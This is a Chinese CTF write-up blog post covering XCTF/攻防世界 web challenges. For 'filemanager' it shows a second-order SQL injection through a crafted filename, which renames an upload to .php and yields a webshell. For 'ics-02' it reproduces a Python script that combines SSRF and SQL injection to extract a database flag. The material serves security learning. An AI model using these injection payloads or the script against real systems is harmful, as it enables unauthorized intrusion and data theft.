攻防世界第三页8分题目

filemanager

考察点:二次注入+代码审计能力

老规矩–>直接进行扫描
发觉存在的目录有
在这里插入图片描述
发觉一个www.tar.gz文件
又结合网页中的上传功能
猜到这道题的思路可能是利用这个泄露文件审计其中的代码后,进行成功上传
获取到getshell
于是下载下来看看,开始审计代码

在这里插入图片描述
审计了一波
upload.php
发觉
①文件中只能具有这五类文件,否则就可会回显错误类状况–>利用in_array命令实现对比的作用
②当文件已经存在后,会回复文件已存在的状况特点
③利用move_uploaded_file将上传的文件的名字和路径更改掉,且向文件中插入了文件的路径与名称类

在这里插入图片描述
发觉可能可以构造sql语句然后到rename中执行状况特点
原因:

这里oldname='{$result['filename']}' 将从数据库里查出的$result['filename']再一次入库,结果造成一个二次注入。

rename.php文件分析后

filename=$req['oldname']是从数据库查询输入的oldname是否在于filename字段,然后进行update修改
oldname={$result['filename']}将之前从数据库中查询出的filename更新到oldname当中,再次入库造成二次注入
可以通过sql注入,影响其extension为空,再修改文件时加上.php后缀
绕过file_exists()只需要再次上传一个与数据库当中filename的值相同的文件名即可
在这里插入图片描述

执行过程
①新建一个空文件

',extension='.jpg

②改名为upload.jpg
即将’,extension='改为upload.jpg–>此时数据库中的特点

update `file` set `filename`='upload.jpg', `oldname`='',extension='' where `fid`={$result['fid']}"

③在上传upload.jpg
上传完后,在改名为upload.php即可getshell
即获得flag
在这里插入图片描述
理解–>大佬的文章理解在这里二次注入的导致原因状况特点类关系

最重要的就是后面这5行。 Oldname和newname,有几个特点:

后缀相同,都是$result['extension'] oldname的文件名来自数据库,newname的文件名来自用户输入 首先后缀相同这个特点,就导致getshell似乎难以完成,如果要getshell那么一定要将“非.php”后缀的文件重命名成“.php”的文件。后缀相同怎么重命名? 除非后缀为空! 所以我们的update型注入就开始派上用场了。通过update型注入,我们可以将数据库中extension字段的值改为空,同时也可以控制filename的值,那么等于说我能控制rename函数的两个参数的值,这样getshell就近在咫尺了。

但还有个坑,这里改名的时候检查了文件是否存在:if(file_exists($oldname))我虽然通过注入修改了filename的值,但我upload目录下上传的文件名是没有改的。 因为我利用注入将extension改为空了,那么实际上数据库中的filename总比文件系统中真是的文件名少一个后缀。 那么这里的file_exists就验证不过。怎么办? 简单啊,再次上传一个新文件,这个文件名就等于数据库里的filename的值就好了。

ics-02

目录扫描走起
在这里插入图片描述
且通过burp扫描也扫描到一些有意思的东西
在这里插入图片描述
打开扫描到的目录
获取到这两个有意思的东西
在这里插入图片描述
在这里插入图片描述

有点迷怎么做这道题,怀疑可能真的跟那个文档有关系

先放着吧

发觉大佬们的脚本

import requests
import random
import urllib

url = 'http://220.249.52.133:46108/download.php'

# subquery = "database()"
# ssrfw
# subquery = "select table_name from information_schema.tables where table_schema='ssrfw' LIMIT 1"
# cetcYssrf
# subquery = "select column_name from information_schema.columns where table_name='cetcYssrf' LIMIT 1"
# secretname -> flag
# subquery = "select column_name from information_schema.columns where table_name='cetcYssrf' LIMIT 1, 1"
# value -> flag{cpg9ssnu_OOOOe333eetc_2018}
subquery = "select value from cetcYssrf LIMIT 1"

id = random.randint(1, 10000000)

d = ('http://127.0.0.1/secret/secret_debug.php?' +
        urllib.parse.urlencode({
            "s": "3",
            "txtfirst_name": "L','1',("+subquery+"),'1'/*",
            "txtmiddle_name": "m",
            "txtLast_name": "y",
            "txtname_suffix": "Esq.",
            "txtdob": "*/,'01/10/2019",
            "txtdl_nmbr": id,
            "txtRetypeDL": id
            }) + "&")


r = requests.get(url, params={"dl": d})
print(r.text)

upload

扫描后得到
在这里插入图片描述
在这里插入图片描述
应该有东西,但是读不出来

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

goddemon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值